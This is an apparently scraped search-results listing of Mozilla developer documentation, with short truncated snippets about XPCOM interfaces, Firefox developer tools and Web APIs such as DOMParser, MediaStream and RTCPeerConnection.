... note: it covers all heap allocations, but will miss any operating system level ones not covered by memory reporters.
... this reporter is special-cased because it is interesting, and is moderately difficult to compute in javascript.
...And 6 more matches
nsIMessageListenerManager
dom/base/nsimessagemanager.idlscriptable this interface enables clients to listen for messages sent using the nsimessagebroadcaster, nsimessagesender, or nsisyncmessagesender interfaces.
... all listener callbacks for a particular message are invoked when that message is received.
... void addmessagelistener(in astring messagename, in nsimessagelistener listener, [optional] in boolean listenwhenclosed); parameters messagename a string indicating the name of the message to listen for.
...And 6 more matches
nsIMicrosummaryGenerator
1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview long calculateupdateinterval(in nsidomnode apagecontent); boolean equals(in nsimicrosummarygenerator aother); astring generatemicrosummary(in nsidomnode apagecontent); attributes attribute type description loaded boolean has the generator itself (which may be a remote resource) been loaded.
... localuri nsiuri for generators installed by the user or bundled with the browser, the local uri points to the location of the local file containing the generator's xml.
... uri nsiuri the canonical location and unique identifier of the generator.
...And 6 more matches
nsINavHistoryResult
more specifically, the nsinavhistoryresultviewer interface provides the view component of the pattern, and nsinavhistoryresultviewobserver is the controller.
... the result indicates to the view when something changes by using the nsinavhistoryresultviewer interface.
...you can use nsinavhistoryresulttreeviewer as the viewer; this provides a prepackaged interaction with a nsitreeboxobject.
...And 6 more matches
nsIStackFrame
inherits from: nsisupports last changed in gecko 1.7 method overview string tostring(); attributes attribute type description caller nsistackframe read only.
... filename string filename location.
... this is the location that caused the error, which may or may not be a source file location.
...And 6 more matches
nsITaskbarPreviewController
method overview boolean drawpreview(in nsidomcanvasrenderingcontext2d ctx); boolean drawthumbnail(in nsidomcanvasrenderingcontext2d ctx, in unsigned long width, in unsigned long height); boolean onactivate(); void onclick(in nsitaskbarpreviewbutton button); void onclose(); attributes attribute type description height unsigned long the height in pixels of the preview imag...
... note: although these attributes are read only, that indicates that the previews controlled by an nsitaskbarpreviewcontroller cannot alter these values.
...the specified context is attached to a surface with the controller's width and height, the values of which are obtained immediately prior to calling this method.
...And 6 more matches
nsITransport
a transport can have an event sink associated with it.
...for a socket transport, these events can include status about the connection.
...this means that if the stream has no data and is not closed, then reading from it will block the calling thread until at least one byte is available or until the stream is closed.
...And 6 more matches
nsIWebBrowser
the chrome may optionally implement nsiinterfacerequestor, nsiwebbrowserchromefocus, nsicontextmenulistener and nsitooltiplistener to receive additional notifications from the browser object.
... the chrome object may optionally implement nsiwebprogresslistener instead of explicitly calling addwebbrowserlistener() and removewebbrowserlistener() to register a progress listener object.
... isactive boolean indicates whether this web browser is active.
...And 6 more matches
nsIWebNavigationInfo
docshell/base/nsiwebnavigationinfo.idlscriptable exposes a way to get information on the capabilities of gecko web navigation objects.
...nfo = components.classes["@mozilla.org/webnavigation-info;1"] .getservice(components.interfaces.nsiwebnavigationinfo); method overview unsigned long istypesupported(in acstring atype, in nsiwebnavigation awebnav); constants support type constants constant value description unsupported 0 returned by istypesupported() to indicate lack of support for a type.
... note: this is guaranteed not to change, so that boolean tests can be done on the return value if istypesupported to detect whether a type is supported at all.
...And 6 more matches
nsIXSLTProcessor
to create an instance, use: var xsltprocessor = components.classes["@mozilla.org/document-transformer;1?type=xslt"] .createinstance(components.interfaces.nsixsltprocessor); method overview void clearparameters(); nsivariant getparameter(in domstring namespaceuri, in domstring localname); void importstylesheet(in nsidomnode style); void removeparameter(in domstring namespaceuri, in domstring localname); void reset(); void setparameter(in domstring namespaceuri, in domstring localname, in nsivariant value); nsidomdocument transformtodocument(in nsidomnode source); nsidomdocumentfragment transformtofragment(in nsidomnode source, in nsidomdocument output); metho...
...nsivariant getparameter( in domstring namespaceuri, in domstring localname ); parameters namespaceuri the namespaceuri of the xslt parameter.
... localname the local name of the xslt parameter.
...And 6 more matches
Frequently Asked Questions
in most cases, the answer will just refer back into the reference manual, above.
... comparing an nscomptr to a raw xpcom interface pointer declaring an nscomptr to a forward-declared class not linking to xpcom not including nscomptr.h different settings of nscap_feature_debug_ptr_types runtime errors ns_assertion "queryinterface needed" may be caused by a class that derives from a given interface, when you forgetting to also specify the interface name in the ns_impl_isupports / ns_impl_threadsafe_isupports macro.
... ns_precondition "you can't dereference a null nscomptr with operator->()" ns_precondition "you can't dereference a null nscomptr with operator*()" other issues printf("%x\n", mynscomptr); can cause the program to crash on sigill (illegal instruction), and not on the line with the printf, which can make it tricky to figure out.
...And 6 more matches
wrappedJSObject
regular xpconnect wrappers which you can encounter, for example, when using xpcom components implemented in js.
... the rest of this article demonstrates what xpconnect wrappers do and how wrappedjsobject can be used to bypass them.
...in this example we use getservice, but as long as we get the reference from xpcom, our component gets wrapped by xpconnect in the same way: var comp = components.classes["@myself.com/my-component;1"].getservice(); if we try to call the hello() method we defined in our component implementation, we get: > comp.hello(); typeerror on line 1: comp.hello is not a function this happens because, as we mentioned earlier, comp is not the helloworld js object itself, but an xpconnect wrapper around it: > dump(comp); [xpconnect wrapped nsisupports] the idea of these wrappers is to make the javascript-implemented xpcom component...
...And 6 more matches
The Valgrind Test Job
the valgrind test job builds the browser and runs it under valgrind, which can detect various common memory-related errors.
... running the valgrind test job locally valgrind works best on linux.
... ac_add_options --enable-valgrind ac_add_options --disable-jemalloc running to run the valgrind test job locally, run the following command.
...And 6 more matches
Building a Thunderbird extension 5: XUL
we add widgets by inserting new xul dom elements into the application window and modify them using scripts and attaching event handlers.
...the status bar is implemented in a xul file called messenger.xul, which can be found in the chrome/messenger/content/messenger folder which is packaged inside the omni.ja archive.
... to view this xul file use the dom inspector extension (no longer supported) or look inside the omni.ja archive, which is located in the thunderbird program folder.
...And 6 more matches
Styling the Folder Pane
treeview row/cell properties css property equivalent call explanation foldernamecol -- a property for indicating that a column is the folder name column.
... hasunreadmessages-true afolder.getnumunread(false) > 0 indicates that the folder (but not subfolders) has unread messages.
... isserver-true afolder.isserver indicates that the folder is a root folder (one that represents a server).
...And 6 more matches
Browser Side Plug-in API - Plugins
the names of all of these methods begin with npn_ to indicate that they are implemented by the browser and called by the plug-in.
... warning: you must only call these from the main thread; calling them from other threads is not supported and may have unpredictable results.
... netscape plug-in method summary « previousnext » npn_destroystream closes and deletes a stream.
...And 6 more matches
Examine, modify, and watch variables - Firefox Developer Tools
if you need to use it, you can, for now, switch back to the old debugger by visiting about:config and setting the "devtools.debugger.new-debugger-frontend" preference to false.
... examine variables when the code has stopped at a breakpoint, you can examine its state in the variables pane of the debugger: variables are grouped by scope: in function scope you'll see the built-in arguments and this variables as well as local variables defined by the function like user and greeting.
... similarly, in global scope you'll see global variables you've defined, like greetme, as well as built-in globals like localstorage and console.
...And 6 more matches
Set a logpoint - Firefox Developer Tools
rather than sprinkle console.log() statements throughout your code, you can use a special type of breakpoint, the logpoint.
... the logpoint is especially useful in cases where breaking the execution breaks testing procedures, such as when you are debugging popup windows, or executing focus-related logic.
...you can use any variable or function available in the current scope.
...And 6 more matches
Source map errors - Firefox Developer Tools
you can sometimes encounter problems working with source maps.
... note: if you're new to source maps, you can learn more about them in how to use a source map.
...this message will show an error message, the resource url, and the source map url: here, the resource url tells us that bundle.js mentions a source map, and the source map url tells us where to find the source map data (in this case, relative to the resource).
...And 6 more matches
All keyboard shortcuts - Firefox Developer Tools
the first section lists the shortcut for opening each tool and the second section lists shortcuts that are applicable to the toolbox itself.
... after that there's one section for each tool, which lists the shortcuts that you can use within that tool.
... because access keys are locale-dependent, they're not documented in this page.
...And 6 more matches
Dominators - Firefox Developer Tools
these concepts matter in memory analysis, because often an object may itself be small, but may hold references to other much larger objects, and by doing this will prevent the garbage collector from freeing that extra memory.
... you can see the dominators in a page using the dominators view in the memory tool.
... with a garbage-collected language, like javascript, the programmer doesn't generally have to worry about deallocating memory.
...And 6 more matches
Inspecting web sockets - Firefox Developer Tools
you can use the ws button to filter the list for just web socket connections.
... only requests with the 101 status code (websocket protocol handshake) are visible, which indicates that the server is switching to a web socket connection.
...each frame expands on click, so you can inspect the formatted data.
...And 6 more matches
Shader Editor - Firefox Developer Tools
note: this tool has been deprecated and will soon be removed from firefox.
... for details, see deprecated tools.
...with webgl you provide 2 programs called shaders which are called at the appropriate stages of the opengl rendering pipeline: a vertex shader, which computes the clip space coordinates of each vertex to be drawn, and a fragment shader, which determines the color for each pixel to be drawn.
...And 6 more matches
BaseAudioContext.createBuffer() - Web APIs
the createbuffer() method of the baseaudiocontext interface is used to create a new, empty audiobuffer object, which can then be populated by data, and played via an audiobuffersourcenode for more details about audio buffers, check out the audiobuffer reference page.
... note: createbuffer() used to be able to take compressed data and give back decoded samples, but this ability was removed from the spec, because all the decoding was done on the main thread, therefore createbuffer() was blocking other code execution.
... the asynchronous method decodeaudiodata() does the same thing — takes compressed audio, say, an mp3 file, and directly gives you back an audiobuffer that you can then set to play via in an audiobuffersourcenode.
...And 6 more matches
BudgetService - Web APIs
methods budgetservice.getcost() returns a promise that resolves to a double, indicating the worst-case background operation cost of the provided background operation.
... budgetservice.getbudget() returns a promise that resolves to an array of budgetstate objects, indicating the expected state of the budget at times in the future.
... budgetservice.reserve() returns a promise that resolves to a boolean, indicating whether the requested budget operation can be reserved.
...And 6 more matches
CSSStyleSheet.insertRule() - Web APIs
restrictions css has some intuitive and not-so-intuitive restrictions affecting where rules can be inserted.
... if rule cannot be inserted at index 0 due to some css constraint, the method aborts with a hierarchyrequesterror.
... mystyle.insertrule('#blanc { color: white }', 0); function to add a stylesheet rule /** * add a stylesheet rule to the document (it may be better practice * to dynamically change classes, so style information can be kept in * genuine stylesheets and avoid adding extra elements to the dom).
...And 6 more matches
CSS Painting API - Web APIs
the css painting api — part of the css houdini umbrella of apis — allows developers to write javascript functions that can draw directly into an element's background, border, or content.
...you can then apply these values to properties like background-image to set complex custom backgrounds on an element.
... for example: aside { background-image: paint(mypaintedimage); } the api defines paintworklet, a worklet that can be used to programmatically generate an image that responds to computed style changes.
...And 6 more matches
DOMParser - Web APIs
WebAPIDOMParser
note: xmlhttprequest can parse xml and html directly from a url-addressable resource, returning a document in its response property.
... you can perform the opposite operation—converting a dom tree into xml or html source—using the xmlserializer interface.
... in the case of an html document, you can also replace portions of the dom with new dom trees built from html by setting the value of the element.innerhtml and outerhtml properties.
...And 6 more matches
Document.createNodeIterator() - Web APIs
constant numerical value description nodefilter.show_all -1 (that is the max value of unsigned long) shows all nodes.
...in this case, it means that the attribute node will appear in the first position of the iteration or traversal.
...this is meaningful only when creating a treewalker with an entity node as its root; in this case, it means that the entity node will appear in the first position of the traversal.
...And 6 more matches
Document.createTreeWalker() - Web APIs
typically this will be an element owned by the document.
... constant numerical value description nodefilter.show_all -1 (that is the max value of unsigned long) shows all nodes.
...this is meaningful only when creating a treewalker with an attr node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal.
...And 6 more matches
Document.execCommand() - Web APIs
don't try using the return value to verify browser support before calling a command.
... ashowdefaultui a boolean indicating whether the default user interface should be shown.
... clearauthenticationcache clears all authentication credentials from the cache.
...And 6 more matches
Document.querySelector() - Web APIs
see locating dom elements using selectors for more about selectors and how to manage them.
... note: characters that are not part of standard css syntax must be escaped using a backslash character.
... since javascript also uses backslash escaping, be especially careful when writing string literals using these characters.
...And 6 more matches
Document.write() - Web APIs
WebAPIDocumentwrite
note: because document.write() writes to the document stream, calling document.write() on a closed (loaded) document automatically calls document.open(), which will clear the document.
... writing to a document that has already loaded without calling document.open() will automatically call document.open().
... after writing, call document.close() to tell the browser to finish loading the page.
...And 6 more matches
Element.animate() - Web APIs
WebAPIElementanimate
elements can have multiple animations applied to them.
... you can get a list of the animations that affect an element by calling element.getanimations().
...although this is technically optional, keep in mind that your animation will not run if this value is 0.
...And 6 more matches
Element.scrollTop - Web APIs
WebAPIElementscrollTop
the element.scrolltop property gets or sets the number of pixels that an element's content is scrolled vertically.
...when an element's content does not generate a vertical scrollbar, then its scrolltop value is 0.
...this is a special case of scrolltop.
...And 6 more matches
Element.setAttribute() - Web APIs
to get the current value of an attribute, use getattribute(); to remove an attribute, call removeattribute().
...the attribute name is automatically converted to all lower-case when setattribute() is called on an html element in an html document.
...any non-string value specified is converted automatically into a string.
...And 6 more matches
Element.tagName - Web APIs
WebAPIElementtagName
the tagname read-only property of the element interface returns the tag name of the element on which it's called.
... for example, if the element is an <img>, its tagname property is "img" (for html documents; it may be cased differently for xml/xhtml documents).
... syntax elementname = element.tagname; value a string indicating the element's tag name.
...And 6 more matches
FetchEvent - Web APIs
this constructor is not typically used.
... the browser creates these objects itself and provides them to fetch event callbacks.
...used to notify the browser of tasks that extend beyond the returning of a response, such as streaming and caching.
...And 6 more matches
FileSystemEntry.getParent() - Web APIs
syntax filesystementry.getparent(successcallback[, errorcallback]); parameters successcallback a function which is called when the parent directory entry has been retrieved.
... the callback receives a single input parameter: a filesystemdirectoryentry object representing the parent directory.
... errorcallback optional an optional callback which is executed if an error occurs.
...And 6 more matches
FileSystemEntry.toURL() - Web APIs
the filesystementry interface's method tourl() creates and returns a string containing a url which can be used to identify the file system entry.
... this is done by exposing a new url scheme—filesystem:—that can be used as the value of src and href attributes.
...this can be used to help deal with files whose types aren't recognized automatically by the user agent.
...And 6 more matches
FileSystemFlags.exclusive - Web APIs
the exclusive property on the filesystemflags dictionary is used in tandem with the create property to determine whether or not it's acceptable to require that the file not already exist when the reference to it is created by calling filesystemdirectoryentry.getfile() or filesystemdirectoryentry.getdirectory().
... option values file/directory condition result create exclusive false n/a[1] path exists and matches the desired type (depending on whether the function called is getfile() or getdirectory() the successcallback is called with a filesystemfileentry if getfile() was called or a filesystemdirectoryentry if getdirectory() was called.
... false n/a[1] path exists but doesn't match the desired type the errorcallback is called with an appropriate error code (if the callback was provided).
...And 6 more matches
GlobalEventHandlers.onpointerdown - Web APIs
this event can be sent to window, document, and element objects.
...if the pointerdown event isn't canceled through a call to preventdefault(), most user agents will fire a mousedown event, so that sites not using pointer events will work.
... you can also use addeventlistener() to add a listener for pointerdown events.
...And 6 more matches
HTMLInputElement.stepDown() - Web APIs
valid on all numeric, date, and time input types that support the step attribute, includingdate, month, week, time, datetime-local, number, and range.
...the method will not cause the value to go below the min value set or defy the constraints set by the step attribute.
...throws an invalid_state_err exception: if the method is not applicable to for the current type value, if the element has no step value, if the value cannot be converted to a number, if the resulting value is above the max or below the min.
...And 6 more matches
HTMLLinkElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,mono...
... htmllinkelement.referrerpolicy is a domstring that reflects the referrerpolicy html attribute indicating which referrer to use.
... specifications specification status comment preload candidate recommendation defines <link rel="preload">, and the as property.
...And 6 more matches
HTMLOutputElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline po...
... htmloutputelement.formread only an htmlformelement indicating the form associated with the control, reflecting the form html attribute if it is defined.
... htmloutputelement.htmlforread only a domtokenlist reflecting the for html attribute, containing a list of ids of other elements in the same document that contribute to (or otherwise affect) the calculated value.
...And 6 more matches
Ajax navigation example - Web APIs
own only when the navigation starts from <strong>third_page.php</strong>.</p> <?php include "include/after_content.php"; echo "</body>\n</html>"; } ?> css/style.css: #ajax-loader { position: fixed; display: table; top: 0; left: 0; width: 100%; height: 100%; } #ajax-loader > div { display: table-cell; width: 100%; height: 100%; vertical-align: middle; text-align: center; background-color: #000000; opacity: 0.65; } include/after_content.php: <p>this is the footer.
... { oloadingbox.parentnode && document.body.removechild(oloadingbox); bisloading = false; } function abortreq () { if (!bisloading) { return; } oreq.abort(); closereq(); } function ajaxerror () { alert("unknown error."); } function ajaxload () { var vmsg, nstatus = this.status; switch (nstatus) { case 200: vmsg = json.parse(this.responsetext); document.title = opageinfo.title = vmsg.page; document.getelementbyid(stargetid).innerhtml = vmsg.content; if (bupdateurl) { history.pushstate(opageinfo, opageinfo.title, opageinfo.url); bupdateurl = false; } break; ...
... default: vmsg = nstatus + ": " + (ohttpstatus[nstatus] || "unknown"); switch (math.floor(nstatus / 100)) { /* case 1: // informational 1xx console.log("information code " + vmsg); break; case 2: // successful 2xx console.log("successful code " + vmsg); break; case 3: // redirection 3xx console.log("redirection code " + vmsg); break; */ case 4: /* client error 4xx */ alert("...
...And 6 more matches
IDBDatabase.createObjectStore() - Web APIs
you can use the property to uniquely identify individual objects in the store.
... this method can be called only within a versionchange transaction.
...you can also pass in an array as a keypath.
...And 6 more matches
IDBDatabase - Web APIs
the idbdatabase interface of the indexeddb api provides a connection to a database; you can use an idbdatabase object to open a transaction on your database then create, manipulate, and delete objects (data) in that database.
...thus, you cannot execute commands, access data, or open anything outside of a transaction.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/id...
...And 6 more matches
IDBKeyRange - Web APIs
records can be retrieved from idbobjectstore and idbindex objects using keys or a range of keys.
... you can limit the range using lower and upper bounds.
... for example, you can iterate over all values of a key in the value range a–z.
...And 6 more matches
LockedFile - Web APIs
lockedfile.mode read only the mode for accessing the file; can be readonly or readwrite.
... lockedfile.active read only a flag indicating if the file can be accessed (true) or not (false).
... lockedfile.location the position of the reading/writing pointer within the file.
...And 6 more matches
MediaQueryList - Web APIs
you can create a mediaquerylist by calling matchmedia() on the window object.
... the resulting object handles sending notifications to listeners when the media query state changes (i.e.
... this is very useful for adaptive design, since this makes it possible to observe a document to detect when its media queries change, instead of polling the values periodically, and allows you to programmatically make changes to a document based on media query status.
...And 6 more matches
MediaStream - Web APIs
each track is specified as an instance of mediastreamtrack.you can obtain a mediastream object either by using the constructor or by calling mediadevices.getusermedia().
... some user agents subclass this interface to provide more precise information or functionality, like in canvascapturemediastream.
...you can create an empty stream, a stream which is based upon an existing stream, or a stream that contains a specified list of tracks (specified as an array of mediastreamtrack objects).
...And 6 more matches
MediaStreamTrack.enabled - Web APIs
this can be used to intentionally mute a track.
... in the case of audio, a disabled track generates frames of silence (that is, frames in which every sample's value is 0).
... the value of enabled, in essence, represents what a typical user would consider the muting state for a track, whereas the muted property indicates a state in which the track is temporarily unable to output data, such as a scenario in which frames have been lost in transit.
...And 6 more matches
MediaTrackConstraints.deviceId - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.deviceid as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property.
...And 6 more matches
MediaTrackConstraints.groupId - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.groupid as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... group ids are unique for a given origin for the duration of a single browsing session, and are shared by all media sources that come from the same physical device.
...And 6 more matches
MediaTrackSettings.aspectRatio - Web APIs
the mediatracksettings dictionary's aspectratio property is a double-precision floating-point number indicating the aspect ratio of the mediastreamtrack as currently configured.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.aspectratio property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.aspectratio as returned by a call to mediadevices.getsupportedconstraints().
...And 6 more matches
MediaTrackSettings.autoGainControl - Web APIs
the mediatracksettings dictionary's autogaincontrol property is a boolean value whose value indicates whether or not automatic gain control (agc) is enabled on an audio track.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.autogaincontrol property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... automatic gain control is a feature in which a sound source automatically manages changes in the volume of its source media to maintain a steady overall volume level.
...And 6 more matches
MediaTrackSettings.channelCount - Web APIs
the mediatracksettings dictionary's channelcount property is an integer indicating how many audio channel the mediastreamtrack is currently configured to have.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.channelcount property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.channelcount as returned by a call to mediadevices.getsupportedconstraints().
...And 6 more matches
MediaTrackSettings.noiseSuppression - Web APIs
the mediatracksettings dictionary's noisesuppression property is a boolean value whose value indicates whether or not noise suppression technology is enabled on an audio track.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.noisesuppression property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... noise suppression automatically filters the audio to remove background noise, hum caused by equipment, and the like from the sound before delivering it to your code.
...And 6 more matches
MouseEvent() - Web APIs
"screeny", optional and defaulting to 0, of type long, that is the vertical position of the mouse event on the user's screen; setting this value doesn't move the mouse pointer.
... "clienty", optional and defaulting to 0, of type long, that is the vertical position of the mouse event on the client window of the user's screen; setting this value doesn't move the mouse pointer.
... "ctrlkey", optional and defaulting to false, of type boolean, that indicates if the ctrl key was simultaneously pressed.
...And 6 more matches
MutationObserverInit.attributes - Web APIs
syntax var options = { attributes: true | false } value a boolean value indicating whether or not to report through the callback any changes to the values of attributes on the node or nodes being monitored.
... if true, the callback specified when observe() was used to start observing the node or subtree will be called any time one or more attributes have changed on observed nodes.
... you can expand the capabilities of attribute mutation monitoring using other options: attributefilter lets you specify specific attribute names to monitor instead of monitoring all attributes.
...And 6 more matches
Navigator.registerProtocolHandler() - Web APIs
for example, you can register to handle sms text message links by passing the "sms" scheme.
...this url must include %s, as a placeholder that will be replaced with the escaped url to be handled.
...this might happen if: the registered scheme (protocol) is invalid, such as a scheme the browser handles itself (https:, about:, etc.) the handler url’s origin does not match the origin of the page calling this api.
...And 6 more matches
Navigator.sendBeacon() - Web APIs
can be relative or absolute.
... ensuring that data has been sent during the unloading of a document has traditionally been difficult, because user agents typically ignore asynchronous xmlhttprequests made in an unload handler.
... historically, this was addressed with some of the following workarounds to delay the page unload long enough to send data to some url: submitting the data with a blocking synchronous xmlhttprequest call in unload or beforeunload event handlers.
...And 6 more matches
navigator.hardwareConcurrency - Web APIs
the navigator.hardwareconcurrency read-only property returns the number of logical processors available to run threads on the user's computer.
... syntax logicalprocessors = window.navigator.hardwareconcurrency value a number indicating the number of logical processor cores.
... modern computers have multiple physical processor cores in their cpu (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques.
...And 6 more matches
NodeIterator - Web APIs
syntax a nodeiterator can be created using the document.createnodeiterator() method, as follows: const nodeiterator = document.createnodeiterator(root, whattoshow, filter); properties this interface doesn't inherit any property.
... the possible values are: constant numerical value description nodefilter.show_all -1 (that is the max value of unsigned long) shows all nodes.
...this is meaningful only when creating a nodeiterator with an attr node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal.
...And 6 more matches
PannerNode.orientationX - Web APIs
the orientationx property of the pannernode interface indicates the x (horizontal) component of the direction in which the audio source is facing, in a 3d cartesian coordinate space.
... the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... syntax var orientationx = pannernode.orientationx; pannernode.orientationx.value = neworientationx; value an audioparam whose value is the x component of the direction in which the audio source is facing, in 3d cartesian coordinate space.
...And 6 more matches
PannerNode.orientationY - Web APIs
the orientationy property of the pannernode interface indicates the y (vertical) component of the direction the audio source is facing, in 3d cartesian coordinate space.
... the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... syntax var orientationy = pannernode.orientationy; pannernode.orientationy.value = neworientationy; value an audioparam whose value is the y component of the direction the audio source is facing, in 3d cartesian coordinate space.
...And 6 more matches
PannerNode.orientationZ - Web APIs
the orientationz property of the pannernode interface indicates the z (depth) component of the direction the audio source is facing, in 3d cartesian coordinate space.
... the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... syntax var orientationz = pannernode.orientationz; pannernode.orientationz.value = neworientationz; value an audioparam whose value is the z component of the direction the audio source is facing, in 3d cartesian coordinate space.
...And 6 more matches
PannerNode.setOrientation() - Web APIs
this can have a big effect if the sound is very directional — controlled by the three cone-related attributes pannernode.coneinnerangle, pannernode.coneouterangle, and pannernode.coneoutergain.
... in such a case, a sound pointing away from the listener can be very quiet or even silent.
... the three parameters x, y and z are unitless and describe a direction vector in 3d space using the right-hand cartesian coordinate system.
...And 6 more matches
ParentNode.querySelector() - Web APIs
the parentnode mixin defines the queryselector() method as returning an element representing the first element matching the specified group of selectors which are descendants of the object on which the method was called.
...see locating dom elements using selectors for more information about using selectors to identify elements.
... note: characters which are not part of standard css syntax must be escaped using a backslash character.
...And 6 more matches
PaymentCurrencyAmount.value - Web APIs
the paymentcurrencyamount property value is a string containing the decimal numeric value of the payment, specified in the currency units indicated by the currency property.
...an optional leading minus sign ("-") can be included to indicate a negative value, such as to represent a refund or discount.
... important note: the number given in this string is always specified using the period (".") as the decimal point, rather than the comma (","), even if the user's locale normally uses the comma.
...And 6 more matches
PaymentRequest.onpaymentmethodchange - Web APIs
the paymentrequest event handler onpaymentmethodchange is invoked when the paymentmethodchange is fired, indicating that the user has changed payment methods within a given payment handler.
... for example, when using apple pay, the user can swipe to select different credit cards, debit cards, and so forth.
...}; value an event handler function which is to be called whenever the paymentmethodchange event is fired at the paymentrequest, indicating that the user has changed payment methods within the same payment handler.
...And 6 more matches
performance.now() - Web APIs
WebAPIPerformancenow
bear in mind the following points: in dedicated workers created from a window context, the value in the worker will be lower than performance.now() in the window who spawned that worker.
... in shared or service workers, the value in the worker might be higher than that of the main context because that window can be created after those workers.
... it's important to keep in mind that to mitigate potential security threats such as spectre, browsers typically round the returned value by some amount in order to be less predictable.
...And 6 more matches
Permissions.revoke() - Web APIs
syntax this method is called on the global permissions object navigator.permissions.
...valid values are 'geolocation', 'midi', 'notifications', and 'push'.
... uservisibleonly: (push only, not supported in firefox — see the browser compatibility section below) indicates whether you want to show a notification for every message or be able to send silent push notifications.
...And 6 more matches
ProgressEvent.initProgressEvent() - Web APIs
the progressevent.initprogressevent() method initializes an animation event created using the deprecated document.createevent("progressevent") method.
...it has been deprecated and removed from most implementation.
... do not use it anymore, use the standard constructor, progressevent(), to create a synthetic progressevent syntax progress.initprogressevent(typearg, canbubblearg, cancelablearg, lengthcomputable, loaded, total); parameters typearg is a domstring identifying the specific type of animation event that occurred.
...And 6 more matches
RTCIceProtocol - Web APIs
the webrtc api's rtciceprotocol enumerated type provides a set of domstring values representing the names of the transport protocols ice candidates can use.
... these strings are taken directly from the candidate a-line in sdp.
... values tcp the candidate, if selected, would use tcp as the transport protocol for its data.
...And 6 more matches
RTCInboundRtpStreamStats.fecPacketsReceived - Web APIs
the fecpacketsreceived property of the rtcinboundrtpstreamstats dictionary indicates how many forward error correction (fec) packets have been received by this rtp receiver from the remote peer.
... an fec packet provides parity information which can be used to attempt to reconstruct rtp data packets which have been corrupted in transit.
... syntax var fecpacketsreceived = rtcinboundrtpstreamstats.fecpacketsreceived; value an unsigned integer value which indicates the total number of fec packets which have been recieved from the remote peer during this rtp session.
...And 6 more matches
RTCOfferOptions.iceRestart - Web APIs
note: rather than manually creating and submitting an offer with icerestart set to true, you should consider calling the rtcpeerconnection method restartice() instead.
... syntax var options = { icerestart: trueorfalse }; value a boolean value indicating whether or not the rtcpeerconnection should generate new values for the connection's ice-ufrag and ice-pwd values, which will trigger ice renegotiation on the next message sent to the remote peer.
...you should ideally do this by calling the rtcpeerconnection's restartice() method, if it's available.
...And 6 more matches
RTCPeerConnection.onnegotiationneeded - Web APIs
the rtcpeerconnection interface's onnegotiationneeded property is an eventlistener which specifies a function which is called to handle the negotiationneeded event when it occurs on an rtcpeerconnection instance.
...this negotiation should be carried out as the offerer, because some session changes cannot be negotiated as the answerer.
...there's no additional information provided in the event; anything you need, you can get by examining the properties of the rtcpeerconnection.
...And 6 more matches
RTCPeerConnectionIceErrorEvent.address - Web APIs
the rtcpeerconnectioniceerrorevent property address is a string which indicates the local ip address being used to communicate with the stun or turn server during negotiations.
... syntax let address = rtcpeerconnectioniceerrorevent.address; value a domstring which specifies the local ip address of the network connection to the ice server with which negotiations were occurring when the error occurred.
... this address identifies the network interface on the local device which is being used to attempt to establish the connection to the remote peer.
...And 6 more matches
RTCPeerConnectionIceEvent() - Web APIs
